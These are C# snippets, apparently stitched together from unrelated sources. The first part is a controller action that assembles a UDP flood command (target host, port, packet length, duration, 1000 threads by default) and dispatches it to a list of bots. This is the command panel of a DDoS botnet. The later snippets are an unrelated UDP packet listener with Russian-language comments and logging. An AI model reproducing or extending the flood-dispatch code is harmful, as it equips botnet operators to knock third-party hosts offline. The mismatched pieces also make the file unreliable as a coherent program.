public async Task <IActionResult> ExecuteUdp(UdpModel model) { var method = new BaseCommands { Method = "Udp" }; var Variables = new UdpVariables { Port = model.Port, Length = model.Length }; var FloodModel = new Server.Commands.BaseFloodModel { Host = model.Host, Time = model.Time, ThreadstoUse = model.ThreadstoUse, }; var Command = new UdpCommand { newUdpVariables = Variables, newBaseCommand = method, newBaseFloodModel = FloodModel }; var bots = new GetBotsByStatusQuery { status = model.Force }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", "")); return(Json(response)); }
public IActionResult UdpView() { var model = new UdpModel { Length = 32, ThreadstoUse = 1000, Time = 60 }; return(PartialView("_Udp", model)); }
private void ReceiveDemoData(CancellationToken Token) { while (true) { if (Token.IsCancellationRequested) { return; } UdpModel.Handle(GenerateDemoData()); Logger.Log("Демо данные были обработаны", RecordType.INFO, Source.UDP); Thread.Sleep(1000); } }
private void ReceiveRealData(CancellationToken Token) { try { while (true) { if (Token.IsCancellationRequested) { return; } //Кол-во принимаемых байтов int BytesCount = 0; //Получение Ip адреса с которого пришли данные EndPoint RemoteIp = new IPEndPoint(IPAddress.Any, 0); //Принятие данных с udp пакетов do { BytesCount = this.Socket.ReceiveFrom(this.Buffer, ref RemoteIp); }while (this.Socket.Available > 0); IPEndPoint RemoteFullIp = RemoteIp as IPEndPoint; UdpModel.Handle(this.Buffer); Logger.Log(RemoteFullIp.Address.ToString() + ":" + RemoteFullIp.Port.ToString() + "| Данные получены и обработаны", RecordType.INFO, Source.UDP); } } catch (Exception ex) { Logger.Log(ex.Message, RecordType.ERROR, Source.UDP); } finally { this.Stop(); Logger.Log("Произошла принудительная остановка сокета", RecordType.WARNING, Source.UDP); } }